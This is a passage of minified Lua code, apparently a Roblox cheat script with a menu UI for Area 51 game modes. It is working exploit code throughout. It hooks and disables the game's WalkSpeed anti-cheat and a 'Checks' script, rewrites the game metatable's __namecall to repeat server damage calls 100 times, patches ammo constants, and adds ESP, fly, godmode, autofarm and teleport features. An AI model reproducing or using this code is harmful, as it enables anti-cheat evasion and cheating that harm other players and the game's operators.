game.",function()game:GetService("TeleportService"):Teleport(2092167559,k)end)z:NewButton("Juggernaut Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4678052190,k)end)z:NewButton("Endless Survival","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2675280735,k)end)z:NewButton("Killhouse","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4631179692,k)end)z:NewButton("Area-51 Storming","Click on this button to join the game.",function()game:GetService("ReplicatedStorage").StormingEvents.JoinRequested:FireServer()end)elseif game.PlaceId==6054929905 then local o="BloodTheme"local x=n.CreateLib("Boss Rush Mode UI",o)function CountTable(q)local r,s=0;repeat s=next(q,s)if s~=nil then r=r+1 end until s==nil;return r end;for t,u in pairs(getgc())do if type(u)=="function"and rawget(getfenv(u),"script")==game.Players.LocalPlayer.PlayerScripts.Stuffs then local w=debug.getconstants(u)if CountTable(w)==5 then if table.find(w,"WalkSpeed")and table.find(w,"GetPropertyChangedSignal")and table.find(w,"Connect")then hookfunction(u,function()end)end end end end;hookfunction(getconnections(game.Players.LocalPlayer.Character.Humanoid:GetPropertyChangedSignal("WalkSpeed"))[1].Function,function()end)local y=x:NewTab("Main:")local z=y:NewSection("")z:NewToggle("Autofarm Boss:","Enables Autofarm for Killers",function(R)if R then m.Notify("Enabled Autofarm for Boss","This is buggy.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})local l=game.Workspace.CurrentCamera;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end;_G.autoFarm=true;while wait(0.5)do if _G.autoFarm==true then for a2,v in pairs(game:GetService("Workspace").AREA51.Map.Boss:GetChildren())do if v:IsA("Part")and v.BrickColor==BrickColor.new("New Yeller")then game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame=v.CFrame end end;for a2,v in pairs(game:GetService("Workspace").AREA51.Map.Boss:GetChildren())do if v:IsA("Part")and v.BrickColor==BrickColor.new("Really red")then game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame=v.CFrame end end end end else G.autoFarm=false;workspace.CurrentCamera.CameraSubject=k.Character:FindFirstChildWhichIsA('Humanoid')workspace.CurrentCamera.CameraType="Custom"k.CameraMinZoomDistance=0.5;k.CameraMaxZoomDistance=400;k.CameraMode="Classic"k.Character.Head.Anchored=false end end)z:NewToggle("Fullbright","Makes the game bright",function(R)m.Notify("Fullbright","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then game:GetService("Lighting").Brightness=2;game:GetService("Lighting").ClockTime=14;game:GetService("Lighting").FogEnd=100000;game:GetService("Lighting").GlobalShadows=false;game:GetService("Lighting").OutdoorAmbient=Color3.fromRGB(128,128,128)else m.Notify("Fullbright","Disabled","http://www.roblox.com/asset/?id=261113606",{Duration=4,Main={Rounding=true}})origsettings={abt=game:GetService("Lighting").Ambient,oabt=game:GetService("Lighting").OutdoorAmbient,brt=game:GetService("Lighting").Brightness,time=game:GetService("Lighting").ClockTime,fe=game:GetService("Lighting").FogEnd,fs=game:GetService("Lighting").FogStart,gs=game:GetService("Lighting").GlobalShadows}game:GetService("Lighting").Ambient=origsettings.abt;game:GetService("Lighting").OutdoorAmbient=origsettings.oabt;game:GetService("Lighting").Brightness=origsettings.brt;game:GetService("Lighting").ClockTime=origsettings;game:GetService("Lighting").FogEnd=200;game:GetService("Lighting").FogStart=20;game:GetService("Lighting").FogColor=191,191,191;game:GetService("Lighting").GlobalShadows=origsettings.gs end end)z:NewToggle("Remove Cutscenes","Removes cutscenes from Area-51-Game",function(R)if R then _G.cutScene=true;while wait()do if _G.cutScene==true then workspace.CurrentCamera.CameraSubject=k.Character:FindFirstChildWhichIsA('Humanoid')workspace.CurrentCamera.CameraType="Custom"k.CameraMinZoomDistance=0.5;k.CameraMaxZoomDistance=400;k.CameraMode="Classic"k.Character.Head.Anchored=false end end else _G.cutScene=false end end)z:NewButton("Remove Toxic Water","Removes Toxic-Water.",function()game:GetService("Workspace").AREA51.Map.BossRoom.ToxicWater:Destroy()end)z:NewToggle("Remove Kill Parts","Removes Kill Parts.",function(R)if R then while wait()do for a2,v in pairs(game.Workspace:GetChildren())do if v:IsA("TouchTransmitter")then v:Destroy()end end end end end)z:NewButton("Get Case File","Gives you case-file.",function()firetouchinterest(k.Character.HumanoidRootPart,game:GetService("Workspace")["Case file"].Hitbox,0)end)local y=x:NewTab("Gun Mods:")local z=y:NewSection("")z:NewButton('Infinite-Ammo',"Gives you Infinite-Ammo for your weapons.",function()local a3=math.sin(workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(workspace.DistributedGameTime)/2+0.5;local a5=math.sin(workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for a2,a7 in pairs(getreg())do if typeof(a7)=="table"then if a7.shoot_wait then a7.shoot_wait=0;a7.is_auto=true;a7.is_burst=false;a7.burst_count=15;a7.bullet_color=BrickColor.new("Toothpaste")a7.inaccuracy=0;a7.is_pap="PAP"a7.vibration_changed=0;a7.touch_mode=false;a7.reloading=false;a7.equip_time=0;a7.holding=true;a7.ready=true;a7.stolen=false;a7.clear_magazine=false;a7.cancel_reload=false;a7.is_grenade=true;a7.is_pap=true;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end end end end end)z:NewButton("One shot Boss","Gives you more Damage on Killers",function()local a8={repeatamount=100,inclusions={"Missile Touch","Fired"}}local a9=getrawmetatable(game)local aa=a9.__namecall;setreadonly(a9,false)local function ab(ac)for K,a7 in next,a8.inclusions do if ac.Name==a7 then return true end end;return false end;a9.__namecall=function(ac,...)local ad={...}local ae=getnamecallmethod()if ae=="FireServer"or ae=="InvokeServer"and ab(ac)then for K=1,a8.repeatamount do aa(ac,...)end end;return aa(ac,...)end;setreadonly(a9,true)end)z:NewToggle("Rainbow Weapons","Allows you to have Rainbow Weapons.",function(R)if R then m.Notify("Rainbow Guns ","Activated","http://www.roblox.com/asset/?id=5124031298",{Duration=4,Main={Rounding=true}})_G.rainbowdoo=true;while wait(0.1)do if _G.rainbowdoo==true then local a3=math.sin(game.workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(game.workspace.DistributedGameTime)/2+0.5;local a5=math.sin(game.workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end end end else _G.rainbowdoo=false;wait(4)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new("Really black")end end end end)z:NewToggle("Equip all Tools","Equips all the tools in your backpack.",function(R)if R then local function O()for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=game:GetService("Players").LocalPlayer.Character end end end;O()else for K,v in pairs(k.Character:GetChildren())do if v:IsA('Tool')then v.Parent=k.Backpack end end end end)z:NewToggle("Save Tools","Saves your tools ",function(R)if R then for a2,v in pairs(k.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=k end end else for a2,v in pairs(k:GetChildren())do if v:IsA("Tool")then v.Parent=k.Backpack end end end end)z:NewButton("Drop Tools","Drops your tools",function()for a2,v in pairs(k.Backpack:GetChildren())do k.Character.Humanoid:EquipTool(v)v.Parent=nil end end)local y=x:NewTab("ESP:")local z=y:NewSection("ESP for Player/Killers")z:NewToggle("Player ESP","Enables Player-ESP for Players",function(R)if R then _G.on=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0.8 end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game.Workspace:GetDescendants())do pcall(function()if v:FindFirstChild("Humanoid")and v.Parent.Name=="Characters to kill"and v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.on==false else _G.on=false;for K,v in pairs(game:GetService("Workspace")["Characters to kill"]:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)z:NewToggle("Killer ESP","Enables Killer-ESP for Killers",function(R)if R then _G.lol=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0;a5.Color=BrickColor.new("Bright red")end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game.Workspace:GetDescendants())do pcall(function()if v:FindFirstChild("Zombie")and v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.lol==false else _G.lol=false;for K,v in pairs(game.Workspace.Killers:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)local y=x:NewTab("LocalPlayer")local z=y:NewSection("Humanoid")z:NewToggle("Fly","Allows you to Fly through the game.",function(R)if R then m.Notify("Enabled Fly","Press LeftALT to Enable/Disable Fly.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})_G.Enabled=true;local l=game.Workspace.CurrentCamera;local k=game:GetService("Players").LocalPlayer;local S=game:GetService("UserInputService")local T=false;local U=false;local V=false;local W=false;local X=false;local Y=false;local function Z()for K,v in pairs(k.Character:GetChildren())do pcall(function()v.Anchored=not v.Anchored end)end end;S.InputBegan:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.LeftAlt then Enabled=not Enabled;Z()end;if s.KeyCode==Enum.KeyCode.W then T=true end;if s.KeyCode==Enum.KeyCode.S then U=true end;if s.KeyCode==Enum.KeyCode.A then V=true end;if s.KeyCode==Enum.KeyCode.D then W=true end;if s.KeyCode==Enum.KeyCode.Space then X=true end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=true end end)S.InputEnded:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.W then T=false end;if s.KeyCode==Enum.KeyCode.S then U=false end;if s.KeyCode==Enum.KeyCode.A then V=false end;if s.KeyCode==Enum.KeyCode.D then W=false end;if s.KeyCode==Enum.KeyCode.Space then X=false end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=false end end)while game:GetService("RunService").RenderStepped:Wait()do if Enabled then pcall(function()if T then k.Character:TranslateBy(l.CFrame.lookVector*2)end;if U then k.Character:TranslateBy(-l.CFrame.lookVector*2)end;if V then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if W then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if X then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end;if Y then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end end)end end else print("ok")end end)z:NewSlider("WalkSpeed","Move the slider to set WalkSpeed for Humanoid",500,0,function(a0)k.Character.Humanoid.WalkSpeed=a0 end)z:NewSlider("JumpPower","Move the slider to set JumpPower for Humanoid",500,0,function(a0)k.Character.Humanoid.JumpPower=a0 end)z:NewSlider("Gravity","Move the slider to set Garavity inside of the workspace.",50,0,function(a0)workspace.Gravity=a0 end)z:NewToggle("GodMode","Gives you Godmode",function(R)m.Notify("Godmode","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then local B=workspace.CurrentCamera;local C=game.Players.LocalPlayer.Character;local D=game.Players.LocalPlayer;local E,C=B.CFrame,D.Character;local F=C and C.FindFirstChildWhichIsA(C,"Humanoid")local H=F.Clone(F)H.Parent,D.Character=C,nil;H.SetStateEnabled(H,15,false)H.SetStateEnabled(H,1,false)H.SetStateEnabled(H,0,false)H.BreakJointsOnDeath,F=true,F.Destroy(F)D.Character,B.CameraSubject,B.CFrame=C,H,wait()and E;H.DisplayDistanceType=Enum.HumanoidDisplayDistanceType.None;local I=C.FindFirstChild(C,"Animate")if I then I.Disabled=true;wait()I.Disabled=false end;H.Health=H.MaxHealth else game:GetService("TeleportService"):Teleport(game.PlaceId,game.Players.LocalPlayer)end end)local y=x:NewTab("Settings:")local z=y:NewSection("Keybind to ToggleUI")z:NewKeybind("Keybind to ToggleUI","Toggles Epic-Minigames UI",Enum.KeyCode.F,function()n:ToggleUI()end)local y=x:NewTab("Modes:")local z=y:NewSection("Teleports")z:NewButton("Rejoin","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(game.PlaceId,k)end)z:NewButton("ServerHop","Click on this button to serverhop to another game.",function()local M={}for a2,v in ipairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://games.roblox.com/v1/games/"..game.PlaceId.."/servers/Public?sortOrder=Asc&limit=100")).data)do if type(v)=="table"and v.maxPlayers>v.playing and v.id~=game.JobId then M[#M+1]=v.id end end;if#M>0 then game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,M[math.random(1,#M)])end end)z:NewButton("Normal Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092166489,k)end)z:NewButton("Killer Mode","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(2092167559,k)end)z:NewButton("Juggernaut Mode","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(4678052190,k)end)z:NewButton("Endless Survival","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(2675280735,k)end)z:NewButton("Killhouse","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(4631179692,k)end)z:NewButton("Area-51 Storming","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(3508248007,k)end)elseif game.PlaceId==3508248007 then local o="BloodTheme"local x=n.CreateLib("Area 51 Storming UI",o)function CountTable(q)local r,s=0;repeat s=next(q,s)if s~=nil then r=r+1 end until s==nil;return r end;for t,u in pairs(getgc())do if type(u)=="function"and rawget(getfenv(u),"script")==game.Players.LocalPlayer.PlayerScripts.Stuffs then local w=debug.getconstants(u)if CountTable(w)==5 then if table.find(w,"WalkSpeed")and table.find(w,"GetPropertyChangedSignal")and table.find(w,"Connect")then hookfunction(u,function()end)end end end end;hookfunction(getconnections(game.Players.LocalPlayer.Character.Humanoid:GetPropertyChangedSignal("WalkSpeed"))[1].Function,function()end)local y=x:NewTab("Main:")local z=y:NewSection("")z:NewToggle("Autofarm Killers:","Enables Autofarm for Killers",function(R)if R then m.Notify("Enabled Autofarm","This is buggy.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})local l=game.Workspace.CurrentCamera;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end;for a2,v in pairs(game.Workspace:GetDescendants())do if v:IsA("ClickDetector")then fireclickdetector(v)end end;for a2,v in pairs(k.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=game.Players.LocalPlayer.Character end end;_G.autoFarm=true;while wait(0.5)do if _G.autoFarm==true then game:GetService("Players").LocalPlayer.PlayerScripts.Checks.Disabled=true;for a2,al in pairs(game.Workspace.Killers:GetChildren())do if al:IsA("Model")then repeat wait()game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame=al.Head.CFrame+al.Head.CFrame.lookVector*-5 until al.Humanoid.Health<=0 end end end end else G.autoFarm=false;workspace.CurrentCamera.CameraSubject=k.Character:FindFirstChildWhichIsA('Humanoid')workspace.CurrentCamera.CameraType="Custom"k.CameraMinZoomDistance=0.5;k.CameraMaxZoomDistance=400;k.CameraMode="Classic"k.Character.Head.Anchored=false end end)z:NewToggle("Fullbright","Makes the game bright",function(R)m.Notify("Fullbright","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then game:GetService("Lighting").Brightness=2;game:GetService("Lighting").ClockTime=14;game:GetService("Lighting").FogEnd=100000;game:GetService("Lighting").GlobalShadows=false;game:GetService("Lighting").OutdoorAmbient=Color3.fromRGB(128,128,128)else m.Notify("Fullbright","Disabled","http://www.roblox.com/asset/?id=261113606",{Duration=4,Main={Rounding=true}})origsettings={abt=game:GetService("Lighting").Ambient,oabt=game:GetService("Lighting").OutdoorAmbient,brt=game:GetService("Lighting").Brightness,time=game:GetService("Lighting").ClockTime,fe=game:GetService("Lighting").FogEnd,fs=game:GetService("Lighting").FogStart,gs=game:GetService("Lighting").GlobalShadows}game:GetService("Lighting").Ambient=origsettings.abt;game:GetService("Lighting").OutdoorAmbient=origsettings.oabt;game:GetService("Lighting").Brightness=origsettings.brt;game:GetService("Lighting").ClockTime=origsettings;game:GetService("Lighting").FogEnd=200;game:GetService("Lighting").FogStart=20;game:GetService("Lighting").FogColor=191,191,191;game:GetService("Lighting").GlobalShadows=origsettings.gs end end)z:NewButton("Get Code for Door","Please walk after clicking this.",function()m.Notify("Get Code","Enabled Please walk forward the first number is the first numeral for the door.","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})for a2,v in pairs(game:GetService("Workspace").AREA51.CodeModel:GetDescendants())do if v:IsA("Part")then wait(.33)v.CFrame=game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame end end end)local y=x:NewTab("Gun Mods:")local z=y:NewSection("")z:NewButton('Get all Weapons','Gives you all the weapons in-game.',function()for a2,v in pairs(game.Workspace:GetDescendants())do if v:IsA("ClickDetector")then fireclickdetector(v)end end end)z:NewButton('Infinite-Ammo',"Gives you Infinite-Ammo for your weapons.",function()local a3=math.sin(workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(workspace.DistributedGameTime)/2+0.5;local a5=math.sin(workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for a2,a7 in pairs(getreg())do if typeof(a7)=="table"then if a7.shoot_wait then a7.shoot_wait=0;a7.is_auto=true;a7.MaxHealth=0;a7.Health=0;a7.is_burst=false;a7.burst_count=15;a7.bullet_color=BrickColor.new("Toothpaste")a7.inaccuracy=0;a7.is_pap="PAP"a7.vibration_changed=0;a7.touch_mode=false;a7.reloading=false;a7.equip_time=0;a7.holding=true;a7.ready=true;a7.stolen=false;a7.clear_magazine=false;a7.cancel_reload=false;a7.is_grenade=true;a7.is_pap=true;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end end end end end)z:NewButton("One shot Killers","Gives you more Damage on Killers",function()local a8={repeatamount=100,inclusions={"MissileTouch","Fired"}}local a9=getrawmetatable(game)local aa=a9.__namecall;setreadonly(a9,false)local function ab(ac)for K,a7 in next,a8.inclusions do if ac.Name==a7 then return true end end;return false end;a9.__namecall=function(ac,...)local ad={...}local ae=getnamecallmethod()if ae=="FireServer"or ae=="InvokeServer"and ab(ac)then for K=1,a8.repeatamount do aa(ac,...)local a8={repeatamount=100,exceptions={"SayMessageRequest"}}local a9=getrawmetatable(game)local aa=a9.__namecall;setreadonly(a9,false)a9.__namecall=function(ac,...)local ad={...}local ae=getnamecallmethod()for K,a7 in next,a8.exceptions do if ac.Name==a7 then return aa(ac,...)end end;if ae=="FireServer"or ae=="InvokeServer"then for K=1,a8.repeatamount do aa(ac,...)end end;return aa(ac,...)end;setreadonly(a9,true)end end;return aa(ac,...)end;setreadonly(a9,true)end)z:NewToggle("Rainbow Weapons","Allows you to have Rainbow Weapons.",function(R)if R then m.Notify("Rainbow Guns ","Activated","http://www.roblox.com/asset/?id=5124031298",{Duration=4,Main={Rounding=true}})_G.rainbowdoo=true;while wait(0.1)do if _G.rainbowdoo==true then local a3=math.sin(game.workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(game.workspace.DistributedGameTime)/2+0.5;local a5=math.sin(game.workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end end end else _G.rainbowdoo=false;wait(4)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new("Really black")end end end end)z:NewToggle("Equip all Tools","Equips all the tools in your backpack.",function(R)if R then local function O()for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=game:GetService("Players").LocalPlayer.Character end end end;O()else for K,v in pairs(k.Character:GetChildren())do if v:IsA('Tool')then v.Parent=k.Backpack end end end end)z:NewToggle("Save Tools","Saves your tools ",function(R)if R then for a2,v in pairs(k.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=k end end else for a2,v in pairs(k:GetChildren())do if v:IsA("Tool")then v.Parent=k.Backpack end end end end)z:NewButton("Drop Tools","Drops your tools",function()for a2,v in pairs(k.Backpack:GetChildren())do k.Character.Humanoid:EquipTool(v)v.Parent=nil end end)local y=x:NewTab("ESP:")local z=y:NewSection("ESP for Player/Killers")z:NewToggle("Player ESP","Enables Player-ESP for Players",function(R)if R then _G.on=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0.8 end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game.Workspace:GetDescendants())do pcall(function()if v:FindFirstChild("Humanoid")and v.Parent.Name=="Characters to kill"and v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.on==false else _G.on=false;for K,v in pairs(game:GetService("Workspace")["Characters to kill"]:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)z:NewToggle("Killer ESP","Enables Killer-ESP for Killers",function(R)if R then _G.lol=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0;a5.Color=BrickColor.new("Bright red")end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game.Workspace:GetDescendants())do pcall(function()if v:FindFirstChild("Zombie")and v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.lol==false else _G.lol=false;for K,v in pairs(game.Workspace.Killers:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)local y=x:NewTab("LocalPlayer")local z=y:NewSection("Humanoid")z:NewToggle("Fly","Allows you to Fly through the game.",function(R)if R then m.Notify("Enabled Fly","Press LeftALT to Enable/Disable Fly.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})_G.Enabled=true;local l=game.Workspace.CurrentCamera;local k=game:GetService("Players").LocalPlayer;local S=game:GetService("UserInputService")local T=false;local U=false;local V=false;local W=false;local X=false;local Y=false;local function Z()for K,v in pairs(k.Character:GetChildren())do pcall(function()v.Anchored=not v.Anchored end)end end;S.InputBegan:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.LeftAlt then Enabled=not Enabled;Z()end;if s.KeyCode==Enum.KeyCode.W then T=true end;if s.KeyCode==Enum.KeyCode.S then U=true end;if s.KeyCode==Enum.KeyCode.A then V=true end;if s.KeyCode==Enum.KeyCode.D then W=true end;if s.KeyCode==Enum.KeyCode.Space then X=true end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=true end end)S.InputEnded:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.W then T=false end;if s.KeyCode==Enum.KeyCode.S then U=false end;if s.KeyCode==Enum.KeyCode.A then V=false end;if s.KeyCode==Enum.KeyCode.D then W=false end;if s.KeyCode==Enum.KeyCode.Space then X=false end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=false end end)while game:GetService("RunService").RenderStepped:Wait()do if Enabled then pcall(function()if T then k.Character:TranslateBy(l.CFrame.lookVector*2)end;if U then k.Character:TranslateBy(-l.CFrame.lookVector*2)end;if V then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if W then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if X then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end;if Y then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end end)end end else print("ok")end end)z:NewSlider("WalkSpeed","Move the slider to set WalkSpeed for Humanoid",500,0,function(a0)k.Character.Humanoid.WalkSpeed=a0 end)z:NewSlider("JumpPower","Move the slider to set JumpPower for Humanoid",500,0,function(a0)k.Character.Humanoid.JumpPower=a0 end)z:NewSlider("Gravity","Move the slider to set Garavity inside of the workspace.",50,0,function(a0)workspace.Gravity=a0 end)z:NewToggle("GodMode","Gives you Godmode",function(R)m.Notify("Godmode","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then local B=workspace.CurrentCamera;local C=game.Players.LocalPlayer.Character;local D=game.Players.LocalPlayer;local E,C=B.CFrame,D.Character;local F=C and C.FindFirstChildWhichIsA(C,"Humanoid")local H=F.Clone(F)H.Parent,D.Character=C,nil;H.SetStateEnabled(H,15,false)H.SetStateEnabled(H,1,false)H.SetStateEnabled(H,0,false)H.BreakJointsOnDeath,F=true,F.Destroy(F)D.Character,B.CameraSubject,B.CFrame=C,H,wait()and E;H.DisplayDistanceType=Enum.HumanoidDisplayDistanceType.None;local I=C.FindFirstChild(C,"Animate")if I then I.Disabled=true;wait()I.Disabled=false end;H.Health=H.MaxHealth else game:GetService("TeleportService"):Teleport(game.PlaceId,game.Players.LocalPlayer)end end)local y=x:NewTab("Remove Parts:")local z=y:NewSection("")z:NewButton('Remove Invisible Walls','Click this button to remove the Invisible walls around the map.',function()game:GetService("Workspace")["Invisible Walls"]:Destroy()end)z:NewToggle("Remove Cutscenes","Removes cutscenes from Area-51-Game",function(R)if R then _G.cutScene=true;while wait()do if _G.cutScene==true then workspace.CurrentCamera.CameraSubject=k.Character:FindFirstChildWhichIsA('Humanoid')workspace.CurrentCamera.CameraType="Custom"k.CameraMinZoomDistance=0.5;k.CameraMaxZoomDistance=400;k.CameraMode="Classic"k.Character.Head.Anchored=false end end else _G.cutScene=false end end)z:NewButton("Remove-Doors","This removes all the doors this cannot be undone.",function()for K,v in pairs(game:GetService('Workspace'):GetDescendants())do if v:IsA("Part")and v.Parent.Name=="Door"then v:Destroy()end end end)local y=x:NewTab("Teleports:")local z=y:NewSection("")z:NewToggle("Loop Teleport to Leader","Enable/Disable to loop teleport to leader.",function(R)if R then _G.loopTeleport=true;while wait()do if _G.loopTeleport==true then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace")["Characters to kill"].Leader.Torso.CFrame end end else _G.loopTeleport=false end end)local y=x:NewTab("Settings:")local z=y:NewSection("Keybind to ToggleUI")z:NewKeybind("Keybind to ToggleUI","Toggles Epic-Minigames UI",Enum.KeyCode.F,function()n:ToggleUI()end)local y=x:NewTab("Modes:")local z=y:NewSection("Teleports")z:NewButton("Rejoin","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(game.PlaceId,k)end)z:NewButton("ServerHop","Click on this button to serverhop to another game.",function()local M={}for a2,v in ipairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://games.roblox.com/v1/games/"..game.PlaceId.."/servers/Public?sortOrder=Asc&limit=100")).data)do if type(v)=="table"and v.maxPlayers>v.playing and v.id~=game.JobId then M[#M+1]=v.id end end;if#M>0 then game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,M[math.random(1,#M)])end end)z:NewButton("Normal Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092166489,k)end)z:NewButton("Killer Mode","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(2092167559,k)end)z:NewButton("Juggernaut Mode","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(4678052190,k)end)z:NewButton("Endless Survival","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(2675280735,k)end)z:NewButton("Killhouse","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(4631179692,k)end)z:NewButton("Area-51 Storming","Click on this button to join the 